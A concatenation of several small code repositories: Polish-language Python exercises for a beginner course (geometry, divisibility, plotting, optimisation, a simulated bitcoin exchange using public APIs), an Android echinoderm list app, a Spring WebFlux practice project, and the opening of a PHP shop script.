print("Obwód koła x: ",first_circleP,"\nPole koła x: ",first_circleF,"\nObwód koła y: ",second_circleP,"\nPole koła y: ",second_circleF)
#2 Find X & Y that satisfy: X is divisible by Y and both X & Y are even. (0.5p)
XY = False
while XY == False:
X = cs50.get_int("X: ")
Y = cs50.get_int("Y: ")
if Y!=0:
xIsEven = X % 2 == 0
yIsEven = Y % 2 == 0
if xIsEven and yIsEven:
XY = X % Y == 0
print("Jest podzielna i obie sa parzyste")
elif Y==0:
print('Nie mozesz wprowadzic 0')
#3 Check if X is divisible by Y (do it in one line of code), print 'X is divisible by Y' or 'X is not divisible by Y'. (1p)
#Ad 3 Hint- use the "ternary operator" as we did calculating xIsEvenLog above.
X = cs50.get_int("X: ")
Y = cs50.get_int("Y: ")
XYLog = 'X is divisible by Y' if X % Y else 'X is not divisible by Y'
#4 Add rounding for the above x/y operation. Round to 2 decimal points. Hint: look up in Google "python limiting number of decimals". (1p)
X = cs50.get_int("X: ")
Y = cs50.get_int("Y: ")
divisibility = X/Y
print(round(divisibility,2)) # średnio działa
print( "%.2f" % divisibility) # działa
#testowanko
print(round(divisibility,244)) #jak pojawia sie (...0) to koniec
print("%.244f" % divisibility) #znowu dziala
#5 Look at lab2-plot.py and create your own script which takes a number as an input and plots the same 3D wave but with different characteristics
# it's totally up to your imagination how do you want to amend the figure according to the input number (1p)
number = float(input("Number: "))
x_knots = np.linspace(-number*np.pi,number*np.e,201)
y_knots = np.linspace(number**np.pi,np.e**2+number*np.pi,201)
X, Y = np.meshgrid(x_knots, y_knots)
R = np.sqrt(X**2)
Z = np.cos(R**2)-np.e*R
ax = Axes3D(plt.figure(figsize=(6,5)))
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=plt.cm.prism, linewidth=0.2)
plt.show()
#6 Test your code. Check various edge cases. In other words: does your program (1, 3, 4 & 5)work for all input values?
# In case of task 4 do not forget to round to different amount of decimals and see if it still works.(3p)
<file_sep>from scipy import linspace ,sin, cos , exp, random, meshgrid, zeros,arccos,tanh
from scipy.optimize import fmin
from matplotlib.pyplot import plot, show, legend, figure, cm, contour, clabel
from mpl_toolkits.mplot3d import Axes3D
from termcolor import colored
def f(x):
return exp(- x[0]**2 - x[1]**2) * sin(x[1]**2) + cos(x[0])
def neg_f(x):
return -f(x)
minXY = [-1.5,-2] # punkt startowy
local_X_Y = minXY
local_fmin = fmin(neg_f,local_X_Y,disp=False)
minVAL = -1000
for i in range(500):
lel = random.randn(2)
xd = fmin(neg_f,lel,disp=False)
if minVAL < f(xd):
minXY = xd
minVAL = f(minXY)
delta = 4.5
x_knots = linspace(minXY[0] - delta, minXY[0] + delta, 41)
y_knots = linspace(minXY[1] - delta, minXY[1] + delta, 41)
X, Y = meshgrid(x_knots, y_knots)
Z = zeros(X.shape)
for i in range(Z.shape[0]):
for j in range(Z.shape[1]):
Z[i][j] = f([X[i, j], Y[i, j]])
print(50*"#")
print(colored('Ekstremum lokalne: \n', 'green'),'Punkt: ',local_fmin,'\nWartosc: ',f(local_fmin),
colored('\nEkstremum globalne: \n','red'),'Punkt: ',minXY,'\nWartosc: ',minVAL)
print(50*"#")
ax = Axes3D(figure(figsize=(8, 6)))
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.coolwarm, linewidth=0.8)
ax.plot([local_X_Y[0]], [local_X_Y[1]],[f(local_X_Y)], color='g', marker='o', markersize=10, label='punkt startowy')
ax.plot([local_fmin[0]], [local_fmin[1]], [f(local_fmin)], color='r', marker='o', markersize=15, label='lokalne')
ax.plot([minXY[0]], [minXY[1]], [f(minXY)], color='k', marker='o', markersize=10, label='globalne')
ax.legend()
show()
#5 Create your own 3d function with multiple local optima.
# Create an algorithm which takes an initial point and looks for the closest local optimum (1p)
# Create an algorithm which aims to find a global optimum, the time of execution is limiter to ~30sec (1p)
# If your solution is heuristic test its quality. Measure the probability of finding the GLOBAL optimum (1p).
# You can, for example, execute your search function multiple times and check if the returned result is what you expected.
# Measure the success / total trials rate (2p).<file_sep>import requests
import numpy as np
import time
#https://www.bitmarket.pl/json/BTCPLN/ticker.json
#https://coinroom.com/api/ticker/BTC/PLN
#https://bitbay.net/API/Public/BTCPLN/ticker.json
def fetch_data(url,name):
response = requests.get(url)
data = response.json()
best_bid = data['bid']
best_ask = data['ask']
return [best_ask,best_bid,name]
def check_data(url1,name1,url2,name2):
dane2 = []
dane2.append(fetch_data(url1,name1))
dane2.append(fetch_data(url2,name2))
best_ask = 0
best_bid = 100000000
for i in dane2:
if i[0] > best_ask:
best_ask = i[0]
ask_name = i[2]
if i[1] < best_bid:
best_bid = i[1]
bid_name = i[2]
print('Currently the', bid_name, 'exchange market is better for buying whilst', ask_name,
'is better for selling\nBest bid:', best_bid, '\nBest ask:', best_ask)
def fetch_user(url):
response = requests.get(url)
data = response.json()
id = data["results"][0]['id']['value']
username = data["results"][0]['login']['username']
first_name = data["results"][0]['name']['first']
last_name = data["results"][0]['name']['last']
return [id,username,first_name,last_name,100000,10] # ostatnie dwie: ilosc pln,ilosc btc
def wymiana_btc_pln(user1,user2):
liczba_bitcoinow = np.random.uniform(0.001,2)
bitcoin_to_pln_bid = liczba_bitcoinow * fetch_data('https://bitbay.net/API/Public/BTCPLN/ticker.json','bitbay.net')[1]
bitcoin_to_pln_ask = liczba_bitcoinow * fetch_data('https://bitbay.net/API/Public/BTCPLN/ticker.json','bitbay.net')[0]
if dane[user1][4] >= bitcoin_to_pln_bid and dane[user2][5] >= liczba_bitcoinow:
dane[user1][4] = dane[user1][4] - bitcoin_to_pln_bid
dane[user1][5] = dane[user1][5] + liczba_bitcoinow
dane[user2][4] = dane[user2][4] + bitcoin_to_pln_ask
dane[user2][5] = dane[user2][5] - liczba_bitcoinow
print(dane[user1][1], "exchanged", round(liczba_bitcoinow,3), "BTC with", dane[user2][1], "for", round(bitcoin_to_pln_ask,3), "PLN")
check_data('https://bitbay.net/API/Public/BTCPLN/ticker.json','bitbay.net','https://www.bitmarket.pl/json/BTCPLN/ticker.json','bitmarket.pl')
dane = []
k = 100 # liczba ludzi
print("Trwa pobieranie bazy uzytkownikow...")
while len(dane) < k:
try:
dane.append(fetch_user('https://randomuser.me/api/?inc=id,name,login'))
except:
pass
begin = time.time()
for i in range(k):
l1 = np.random.randint(0,k)
l2 = np.random.randint(0,k)
while l1 == l2:
l2 = np.random.randint(0,k)
wymiana_btc_pln(l1,l2)
time.sleep(2/5)
end = time.time()
czass = end - begin
print(int(czass))
# BID - > kupno
# ASK - > sprzedaż
#TASKS (11p)
# 1 Find another public API with cryptocurrency and compare prices. As an output print:
# "Currently the XXX exchange market is better for buying whilst YYY is better for selling" (3p)
# 2 Use https://randomuser.me API to download a random user data.
# Create and store 100 random users with ids, username, name (first + last name) using this API (2p)
# 3 Prepare a simulation of transactions between these users
# Take random user and pair him/her with another one. Assume a random amount but take real world price. Sum up the transaction printing:
# username1 exchanged X.XXX BTC with username2 for PLN YYYYY.YYY PLN. (2p)
# Simulate real time - do not proceed all transactions at once. Try to make around 100 transactions per minute (2p)
# Simulate user's assets. Creating a user assign random amount of a given currency. Take it into account while performing a transaction.
# Remember to amend user's assets after the transaction. (2p)<file_sep>import numpy as np
import cs50
from termcolor import colored
#1 Write a function countField which calculates the field of a given figure. It takes the following input parameters:
# - type: circle/rectangle/triangle/rhombus
# - x & optional y.
# For circle we get only x which stands for radius. For Rectangle x&y are the figure's sides, for triangle they are
# accordingly the base and the height and for rhombus - diagonals (4p)
#3 Test your solutions
def countField(type, x, y=1):
#circle
if type == 1:
field = (x**2)*np.pi
print("Wynik: ",x**2,"* π")
#rectangle
if type == 2:
field = x*y
#triangle or rhombus
if type == 3:
field = (1/2)*x*y
if type == 4:
field = (1/2)*x*y
return print(colored('Wynik: ','green'),field)
start,x,y = [-1,-1,-1]
while start==-1:
tp = cs50.get_int('Pole jakiej figury chcesz obliczyc?\n1: Kolo\n2: Prostokat\n3: Trojkat\n4: Romb\n5: Exit\n')
if tp==1:
print("Pole kola")
while x<0:
x = cs50.get_int("Wprowadz promien: ")
countField(tp,x)
if tp==2:
print("Pole prostokata")
while x<0 or y<0:
x = cs50.get_int("Wprowadz x: ")
y = cs50.get_int("Wprowadz y: ")
countField(tp,x,y)
if tp==3:
print("Pole trojkata")
while x<0 or y<0:
x = cs50.get_int("Wprowadz podstawe: ")
y = cs50.get_int("Wprowadz wysokosc: ")
countField(tp,x,y)
if tp==4:
print("Pole rombu")
while x<0 or y<0:
x = cs50.get_int("Wprowadz przekatna(d1): ")
y = cs50.get_int("Wprowadz przekatna(d2): ")
countField(tp,x,y)
if tp==5:
start = 1
x=-1
y=-1<file_sep>import cs50
#4 Add rounding for the above x/y operation. Round to 2 decimal points. Hint: look up in Google "python limiting number of decimals". (1p)
s=True
while s==True:
X = cs50.get_int("X: ")
Y = cs50.get_int("Y: ")
if Y==0:
print("Nie mozna dzielic przez 0")
Y = cs50.get_int("Y: ")
divisibility = X/Y
if X == 0 and Y < 0:
divisibility = abs(divisibility)
print(round(divisibility,2)) # średnio działa (jak jest .0 to konczy)
print( "%.2f" % divisibility) # działa
s=False<file_sep>import cs50
#3 Check if X is divisible by Y (do it in one line of code), print 'X is divisible by Y' or 'X is not divisible by Y'. (1p)
#Ad 3 Hint- use the "ternary operator" as we did calculating xIsEvenLog above.
s=True
X = cs50.get_float("X: ")
Y = cs50.get_float("Y: ")
while s == True:
if Y == 0:
Y = cs50.get_float("Nie mozna dzielic przez 0\nWprowadz Y: ")
elif Y > 0:
s = False
print('X is divisible by Y' if X % Y == 0 else 'X is not divisible by Y')<file_sep>import cs50
#2 Find X & Y that satisfy: X is divisible by Y and both X & Y are even. (0.5p)
XY = False
while XY == False:
X = cs50.get_int("X: ")
Y = cs50.get_int("Y: ")
if Y!=0:
xIsEven = X % 2 == 0
yIsEven = Y % 2 == 0
if xIsEven and yIsEven:
XY = X % Y == 0
print(X,"jest podzielne przez ",Y," i obie sa parzyste")
XY == True
elif Y==0:
print('Nie mozna dzielic przez 0')<file_sep>import numpy as np
from matplotlib.pyplot import *
#1 calculate & print the value of function y = 2x^2 + 2x + 2 for x=[56, 57, ... 100] (0.5p)
for i in range (56,101):
y = 2*(i**2)+(2*i)+2
print(y)
#2 ask the user for a number and print its factorial (1p)
x=-1
while x<0 or x%1!=0:
x=float(input("\nObliczanie silni\nWprowadz liczbe >=0: "))
def factorial(x):
i=x-1
if x>0:
while i>0:
x=x*i
i=i-1
elif x==0:
x=1
return x
print("Silnia: ",factorial(x))
#3 write a function which takes an array of numbers as an input and finds the lowest value. Return the index of that element and its value (1p)
list = np.array([5,6,12,46,120,2,5,126,298,8383,13,333])
#list = []
#list = np.random.randint(1,280,12)
min_value = list[0]
for i in range(1,len(list)):
if min_value>list[i]:
min_value=list[i]
min_index = np.where(list==min_value)[0]
print(list,'\nLowest value: ',min_value,'\nIndex: ',min_index)
#4 looking at lab1-input and lab1-plot files create your own python script that takes a number and returns any chart of a given length.
#the length of a chart is the input to your script. The output is a plot (it doesn't matter if it's a y=x or y=e^x+2x or y=|x| function, use your imagination)
#test your solution properly. Look how it behaves given different input values. (1p)
inp = int(input("Input: "))
X=np.random.rand(inp)
Y=np.linspace(-200,200,inp)
plot(Y,X)
show()
#5 upload the solution as a Github repository. I suggest creating a directory for the whole python course and subdirectories lab1, lab2 etc. (0.5p)
#Ad 5 Hint write in Google "how to create a github repo". There are plenty of tutorials explaining this matter.
#https://github.com/advvix/py-course
<file_sep>import cs50
import numpy as np
#0 Use alternative way of reading inputs - using library (0.5p)
s=True
x = cs50.get_float("x: ")
y = cs50.get_float("y: ")
while s==True:
if x == 0 or x < 0:
x = cs50.get_float("x: ")
elif y == 0 or y < 0:
y = cs50.get_float("y: ")
else:
s = False
#1 Perimeter & field of circles with given radius X for the first circle & Y for the second one. (1p)
first_circleP = 2*np.pi*x
first_circleF = np.pi*(x**2)
second_circleP = 2*np.pi*y
second_circleF =np.pi*(y**2)
print("Obwód koła x: ",first_circleP,"\nPole koła x: ",first_circleF,"\nObwód koła y: ",second_circleP,"\nPole koła y: ",second_circleF)<file_sep>import numpy as np
# enum struktura
# 2 Write a function which takes sets of parameters of two figures and compares their fields. (4p)
# The exemplary input is [[Circle, 4], [Rhombus, 2, 4]]
# Expected output would be 'The first figure (Circle) has larger field'
dane = [['kolo'], ['trojkat', 2, 2]]
def countField(zestaw):
field = None
if zestaw[0] == 'kolo': # circle
field = (zestaw[1] ** 2) * np.pi
if zestaw[0] == 'prostkat': # rectangle
field = zestaw[1] * zestaw[2]
if zestaw[0] == 'trojkat' or zestaw[0] == 'romb': # triangle or rhombus
field = (1 / 2) * zestaw[1] * zestaw[2]
return field
def compare(zestaw1, zestaw2):
fig1 = countField(zestaw1)
fig2 = countField(zestaw2)
answ = None
if fig1 > fig2:
answ = 'The first figure (' + zestaw1[0] + ') has larger field'
elif fig1 == fig2:
answ = "Both figures(" + zestaw1[0] + "," + zestaw2[0] + ") have the same field"
elif fig1 < fig2:
answ = "The second figure (" + zestaw2[0] + ") has larger field"
return print(answ)
def validate_data(zestaw1, zestaw2):
for i in [0, 1]:
if len(dane[i]) == 0:
print('Wykryto pusta liste')
if dane[i][0] != 'kolo' and dane[i][0] != 'romb' and dane[i][0] != 'trojkat' and dane[i][0] != 'prostokat':
print('Wprowadzono zla nazwe figury lub zla kolejnosc wpisywania w zestawie', i + 1)
for k in range(1, len(dane[i])):
if type(dane[i][k]) != int or type(dane[i][k]) != int:
print("Wymiary sa zle podane w zestawie", i + 1)
if len(dane[i]) < 2:
print("Brak wymiarow w zestawie", i + 1)
if (dane[i][0] == 'romb' or dane[i][0] == 'trojkat' or dane[i][0] == 'prostokat') and len(dane[i]) != 3:
print(dane[i][0], "potrzebuje 2 wymiarow.")
break
if dane[i][0] == 'kolo' and len(dane[i]) >= 3:
print(dane[i][0], "potrzebuje tylko 1 wymiar.")
break
try:
for i in [0, 1]:
if len(dane[i]) == 0:
print('Wykryto pusta liste')
if dane[i][0] != 'kolo' and dane[i][0] != 'romb' and dane[i][0] != 'trojkat' and dane[i][0] != 'prostokat':
print('Wprowadzono zla nazwe figury lub zla kolejnosc wpisywania w zestawie', i + 1)
for k in range(1, len(dane[i])):
if type(dane[i][k]) != int or type(dane[i][k]) != int:
print("Wymiary sa zle podane w zestawie", i + 1)
if len(dane[i]) < 2:
print("Brak wymiarow w zestawie", i + 1)
if (dane[i][0] == 'romb' or dane[i][0] == 'trojkat' or dane[i][0] == 'prostokat') and len(dane[i]) != 3:
print(dane[i][0], "potrzebuje 2 wymiarow.")
break
if dane[i][0] == 'kolo' and len(dane[i]) >= 3:
print(dane[i][0], "potrzebuje tylko 1 wymiar.")
break
else:
compare(dane[0], dane[1])
except:
if not dane:
print("Wykryto pusta liste")
if len(dane) == 1:
print('Wpisano tylko jeden zestaw')<file_sep>#1 Looking at the Euler method above create your own function which takes:
# a (from x' = ax)
# h - step
# T time range
# as an input and plots the solution of a differential equation x' = ax (1p)
#2 Beside the solution print the 'ideal' approximation on your chart using for example green color as a reference. (1p)
#2 Hint: use small step value. Use plt.legend to explain which serie is the 'ideal'
import numpy as np
import matplotlib.pyplot as plt
T = 5
h = 0.1
a = 1
initial_x = 1
t = np.arange(0,T,h)
x = np.zeros(t.shape)
x[0] = initial_x
for i in range(t.size-1):
x[i+1] = x[i] + h * (1 * x[i])
plt.plot(t,x,'o',label="Gorsza")
plt.xlabel('t', fontsize=14)
plt.ylabel('x', fontsize=14)
h = 0.01
t = np.arange(0,T,h)
x = np.zeros(t.shape)
x[0] = initial_x
for i in range(t.size-1):
x[i+1] = x[i] + h * (1 * x[i])
plt.plot(t,x,'g',label="Troche lepsza")
plt.legend()
plt.show()<file_sep>import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
#5 Look at lab2-plot.py and create your own script which takes a number as an input and plots the same 3D wave but with different characteristics
# it's totally up to your imagination how do you want to amend the figure according to the input number (1p)
number = float(input("Number: "))
x_knots = np.linspace(-number*np.pi,number*np.e,201)
y_knots = np.linspace(number**np.pi,np.e**2+number*np.pi,201)
X, Y = np.meshgrid(x_knots, y_knots)
R = np.sqrt(X**2)
Z = np.cos(R**2)-np.e*R
ax = Axes3D(plt.figure(figsize=(6,5)))
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=plt.cm.prism, linewidth=0.2)
plt.show()
#6 Test your code. Check various edge cases. In other words: does your program (1, 3, 4 & 5)work for all input values?
# In case of task 4 do not forget to round to different amount of decimals and see if it still works.(3p)
<file_sep><b>Hi!</b>
| 54e9a5bff961069f0f094bf4867ead5c4b4b414f | [
"Markdown",
"Python"
] | 15 | Python | advvix/py-course | e76ecabc0421584d30548b941e19a5079e8382d6 | 2d2e77f684dcd7511e2f124483c434899b491f8a |
refs/heads/master | <repo_name>GreggNicholas/Unit-04-Postmortem<file_sep>/app/src/main/java/com/example/unit_04_assessment/Model/Echinoderm.java
package com.example.unit_04_assessment.Model;
public class Echinoderm {
private String animal;
private String image;
private String wiki;
public Echinoderm(String animal, String image, String wiki) {
this.animal = animal;
this.image = image;
this.wiki = wiki;
}
public String getAnimal() {
return animal;
}
public String getImage() {
return image;
}
public String getWiki() {
return wiki;
}
}
<file_sep>/app/src/main/java/com/example/unit_04_assessment/MainActivity.java
package com.example.unit_04_assessment;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import com.example.unit_04_assessment.Controller.EchinodermAdapter;
import com.example.unit_04_assessment.Model.Echinoderm;
import com.example.unit_04_assessment.Model.EchinodermsList;
import com.example.unit_04_assessment.Network.EchinodermService;
import com.example.unit_04_assessment.Network.RetrofitSingleton;
import java.util.List;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
import retrofit2.Retrofit;
public class MainActivity extends AppCompatActivity {
private static final String TAG = "MainActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
final RecyclerView recyclerView = findViewById(R.id.echinoderm_recyclerview);
final Retrofit retrofit = RetrofitSingleton.newInstance();
EchinodermService service = retrofit.create(EchinodermService.class);
Call<EchinodermsList> echinoListCall = service.getEchinodermsListService();
echinoListCall.enqueue(new Callback<EchinodermsList>() {
@Override
public void onResponse(Call<EchinodermsList> call, Response<EchinodermsList> response) {
Log.d(TAG, "onResponse: " + response.body().getEchinodermResponseList().get(0).getImage());
List<Echinoderm> messageList = response.body().getEchinodermResponseList();
recyclerView.setAdapter(new EchinodermAdapter(messageList));
recyclerView.setLayoutManager(new LinearLayoutManager(getApplicationContext()));
}
@Override
public void onFailure(Call<EchinodermsList> call, Throwable t) {
Log.e(TAG, "onFailure: " + t.getMessage());
}
});
}
}
<file_sep>/app/src/main/java/com/example/unit_04_assessment/Model/EchinodermsList.java
package com.example.unit_04_assessment.Model;
import java.util.List;
public class EchinodermsList {
private List<Echinoderm> message;
public EchinodermsList(List<Echinoderm> echinodermResponseList) {
this.message = echinodermResponseList;
}
public List<Echinoderm> getEchinodermResponseList() {
return message;
}
}
| e41568eec52cfdec33abeeb2ed8ce06a648a5729 | [
"Java"
] | 3 | Java | GreggNicholas/Unit-04-Postmortem | 07a5edab4e26e8eaed01f33177dcf84892df4779 | ad21ab873168ce7c4507d28b7ec29bfd7d3f60f1 |
refs/heads/master | <repo_name>vieira-gabriel/IDJ_Game_engine<file_sep>/README.md
# IDJ
https://github.com/vieira-gabriel/IDJ
<file_sep>/include/State.h
#ifndef STATE_H
#define STATE_H
#define INCLUDE_SDL_IMAGE
#define INCLUDE_SDL_MIXER
#include "Sprite.h"
#include "Music.h"
#include <SDL_include.h>
class State
{
private:
/* data */
Sprite bg;
Music music;
bool quitRequested;
public:
State();
~State();
bool QuitRequested();
void LoadAssets();
void Update(float dt);
void Render();
};
#endif<file_sep>/src/Music.cpp
#include <Music.h>
Music::Music()
{
music = nullptr;
}
Music::Music(string file)
{
music = nullptr;
Open(file);
}
Music::~Music()
{
Stop(1500);
Mix_FreeMusic(music);
}
void Music::Play(int times = -1)
{
if (music != nullptr)
{
if (Mix_PlayMusic(music, times) == -1)
{
std::cout << "Error playing music: " << SDL_GetError() << std::endl;
exit(1);
}
}
else
{
std::cout << "No music loaded" << std::endl;
}
}
void Music::Stop(int msToStop = 1500)
{
Mix_FadeOutMusic(msToStop);
}
void Music::Open(string file)
{
music = Mix_LoadMUS(file.c_str());
if (music == nullptr)
{
std::cout << "Error opening music" << std::endl;
exit(1);
}
}
bool Music::IsOpen()
{
bool ret = (music != nullptr) ? true : false;
return ret;
}<file_sep>/src/Main.cpp
#include <iostream>
#include "Game.h"
using namespace std;
int main(int argc, char **argv)
{
Game &game = Game::GetInstance();
std::cout << "Game created" << std::endl
<< "Starting game" << std::endl;
game.Run();
return 0;
}
<file_sep>/include/Music.h
#ifndef MUSIC_H
#define MUSIC_H
#define INCLUDE_SDL_IMAGE
#define INCLUDE_SDL_MIXER
#include <SDL_include.h>
#include <iostream>
using namespace std;
class Music
{
private:
Mix_Music *music;
public:
Music();
Music(string file);
~Music();
void Play(int times);
void Stop(int msToStop);
void Open(string file);
bool IsOpen();
};
#endif<file_sep>/src/Sprite.cpp
#include <Sprite.h>
#include <Game.h>
#define X_DEFAULT 0
#define Y_DEFAULT 0
Uint32 *format = nullptr;
int *access = nullptr;
Sprite::Sprite()
{
texture = nullptr;
}
Sprite::Sprite(string file)
{
texture = nullptr;
Sprite::Open(file);
}
Sprite::~Sprite()
{
SDL_DestroyTexture(texture);
}
void Sprite::Open(string file)
{
Game &game = Game::GetInstance();
if (Sprite::IsOpen())
SDL_DestroyTexture(texture);
texture = IMG_LoadTexture(game.GetRenderer(), file.c_str());
if (texture == nullptr)
{
std::cout << "Fail to load texture" << SDL_GetError() << std::endl;
exit(1);
}
SDL_QueryTexture(texture, format, access, &width, &height);
SetClip(X_DEFAULT, Y_DEFAULT, GetWidth(), GetHeight());
}
void Sprite::SetClip(int x, int y, int w, int h)
{
clipRect.x = x;
clipRect.y = y;
clipRect.w = w;
clipRect.h = h;
}
void Sprite::Render(int x, int y)
{
SDL_Rect dstRect = {x, y, clipRect.w, clipRect.h};
if (SDL_RenderCopy(Game::GetInstance().GetRenderer(), texture, &clipRect, &dstRect) != 0)
{
std::cout << "Fail to render the texture: " << SDL_GetError() << std::endl;
exit(1);
}
}
int Sprite::GetHeight()
{
return height;
}
int Sprite::GetWidth()
{
return width;
}
bool Sprite::IsOpen()
{
bool ret = (texture != nullptr) ? true : false;
return ret;
}<file_sep>/src/Game.cpp
#include "Game.h"
#define CHUNKSIZE 1024
#define WINDOW_FLAG 0
#define AUDIO_CHANNELS 32
Game *Game::instance = nullptr;
Game::Game(string title, int width, int height)
{
if (instance != nullptr)
{
instance = this;
}
if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO | SDL_INIT_TIMER) != 0)
{
std::cout << "Unable to initialize SDL: " << SDL_GetError() << std::endl;
exit(1);
}
std::cout << "SDL inicialized" << std::endl;
if (Mix_Init(MIX_INIT_FLAC | MIX_INIT_OGG | MIX_INIT_MP3) == 0)
{
std::cout << "Unable to initialize Mix: " << Mix_GetError() << std::endl;
exit(1);
}
std::cout << "Mix inicialized" << std::endl;
if (IMG_Init(IMG_INIT_JPG | IMG_INIT_PNG | IMG_INIT_TIF) == 0)
{
std::cout << "Unable to initialize IMG: " << IMG_GetError() << std::endl;
exit(1);
}
std::cout << "IMG inicialized" << std::endl;
Mix_OpenAudio(MIX_DEFAULT_FREQUENCY, MIX_DEFAULT_FORMAT, MIX_DEFAULT_CHANNELS, CHUNKSIZE);
std::cout << "Mix Audio opened" << std::endl;
Mix_AllocateChannels(AUDIO_CHANNELS);
std::cout << "Channels Allocated" << std::endl;
window = SDL_CreateWindow(title.c_str(), SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED, width, height, WINDOW_FLAG);
if (window == nullptr)
{
std::cout << "Unable to create window: " << SDL_GetError() << std::endl;
exit(1);
}
std::cout << "Window created" << std::endl;
renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED);
if (renderer == nullptr)
{
std::cout << "Unable to create Renderer: " << SDL_GetError() << std::endl;
exit(1);
}
std::cout << "Renderer created" << std::endl;
}
Game::~Game()
{
//delete state;
SDL_DestroyRenderer(renderer);
SDL_DestroyWindow(window);
Mix_CloseAudio();
IMG_Quit();
Mix_Quit();
SDL_Quit();
}
Game &Game::GetInstance()
{
if (instance == nullptr)
instance = new Game("<NAME> 150126956", 1024, 600);
return *instance;
}
State &Game::GetState()
{
return *state;
}
SDL_Renderer *Game::GetRenderer()
{
return renderer;
}
void Game::Run()
{
std::cout << "Start running" << std::endl;
state = new State;
while (state->QuitRequested() != true)
{
state->Update(33);
state->Render();
SDL_RenderPresent(Game::GetInstance().GetRenderer());
}
} | 3519a8ef49bedf181fa7c9d86f4fedc09ee9b59c | [
"Markdown",
"C++"
] | 7 | Markdown | vieira-gabriel/IDJ_Game_engine | 0b3ef4ce4440808451862fa4c5be54eaceb14fb6 | 6e60027ae023b10be155181d62c7f53b926da7d7 |
refs/heads/master | <repo_name>jshaughn/manageiq-api<file_sep>/app/controllers/api/automate_workspaces_controller.rb
module Api
class AutomateWorkspacesController < BaseController
def edit_resource(type, id, data = {})
obj = resource_search(id, type, collection_class(type))
obj.merge_output!(data)
end
def decrypt_resource(type, id = nil, data = nil)
obj = resource_search(id, type, collection_class(type))
decrypt(obj, data)
end
def encrypt_resource(type, id = nil, data = nil)
obj = resource_search(id, type, collection_class(type))
obj.encrypt(data['object'], data['attribute'], data['value'])
end
private
def decrypt(obj, data)
{'object' => data['object'],
'attribute' => data['attribute'],
'value' => obj.decrypt(data['object'], data['attribute'])}
end
end
end
| bd060debcefd49cd973ba0307ed43a32241f574e | [
"Ruby"
] | 1 | Ruby | jshaughn/manageiq-api | 42813a23b65b485609033cbaa8d65041549b2e6b | c42fcfb5d5e0d1f3eeca2d989a210f3b25efe998 |
refs/heads/master | <file_sep>
define(function(require,exports,module){
var a = require('./m3.js');
function show(){
alert(test);
alert(a.a);
}
exports.show = show;
});
<file_sep>define(function(require,exports,module){
function show(){
alert(1);
}
exports.show = show;
});
<file_sep>var b = 2; | ccd0260be6f25f808a6b5cac885edcf29c2673b8 | [
"JavaScript"
] | 3 | JavaScript | cpplee/Seajs | 5cf52fbb776b3c5ea05b5e6fe82497623eaa2d36 | f83e7207a7e5f116ab11cc682d6d976eb86a87c5 |
refs/heads/master | <file_sep>package com.example.demo.practice;
import lombok.extern.slf4j.Slf4j;
import java.util.concurrent.*;
/**
* @author Andrew
* @since 2020-10-11
*/
@Slf4j
public class CFutureExample {
public static void main(String[] args) throws InterruptedException {
ExecutorService es = Executors.newFixedThreadPool(10);
// completionStage 학습
CompletableFuture f = CompletableFuture
.supplyAsync(() -> {
// if (1 == 1) throw new RuntimeException();
log.info("supplyAsync");
return 1;
}, es)
.thenCompose(s -> {
log.info("thenApply : {}", s);
return CompletableFuture.completedFuture(s + 1);
})
.thenApplyAsync(s1 -> {
log.info("thenApply : {}", s1);
return s1 * 3;
}, es)
.exceptionally(e -> -10)
.thenAcceptAsync(s2 -> {
log.info("thenAccept :{}", s2);
}, es);
log.info("exit");
ForkJoinPool.commonPool().shutdownNow();
ForkJoinPool.commonPool().awaitTermination(10, TimeUnit.SECONDS);
}
}
<file_sep>package com.example.demo;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
@SpringBootApplication
@RestController
@Slf4j
public class DemoApplication {
/**
* 스프링이 onSubscribe 를 한다.
* publisher는 COLD, HOT Type이 존재한다.
* 하나의 퍼블리셔는 여러개의 subscriber를 가질수 있다. 같은 결과가 나오면 -> COLD 타입
* block() 메서드는 내부적으로 subscribe()메서드가 동작하고, 결과값을 꺼내올 수 있다.
*/
@GetMapping("/")
public Mono<String> hello() {
log.info("pos1");
Mono<String> m = Mono.fromSupplier(() -> generateHello()).doOnNext(c -> log.info(c)).log();
String res = m.block();// subscribe 1번 호출
log.info("pos2: + " + res);
return m; // subscribe 1번더 호출 by 스프링
}
/**
* Mono.just(List)와 같은 객체를 넘겨도 아래의 Flux 와 동일하다.
*
* @param id
* @return
*/
@GetMapping("/event/{id}")
public Mono<Event> eventMono(@PathVariable long id) {
return Mono.just(new Event(id, "event " + id));
// List<Event> list = Arrays.asList(new Event(1L, "event1"), new Event(2L, "event2"));
// return Mono.just(list);
}
@GetMapping(value = "/events", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
public Flux<Event> eventFlux() {
// return Flux.fromStream(Stream.generate(() -> new Event(System.currentTimeMillis(), "value"))).take(10);
return Flux.
<Event>generate(sink -> sink.next(new Event(System.currentTimeMillis(), "value")))
.take(10);
}
public String generateHello() {
log.info("generate hello method");
return "Hello";
}
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
@Data
@AllArgsConstructor
public static class Event {
long id;
String value;
}
}
| 0649bbac2f467120c0f1aa448d31a4d08086a062 | [
"Java"
] | 2 | Java | rheehot/spring-webflux-sample | 0ed553807d37d25007c38b6c0ac958a9d3469ae7 | 9bcd5a931f9617f1e3954767e0083b51c347cc7d |
refs/heads/master | <repo_name>ranjanabha/shopapp<file_sep>/php/getShopDetailsByShopId.php
<?php
session_start();
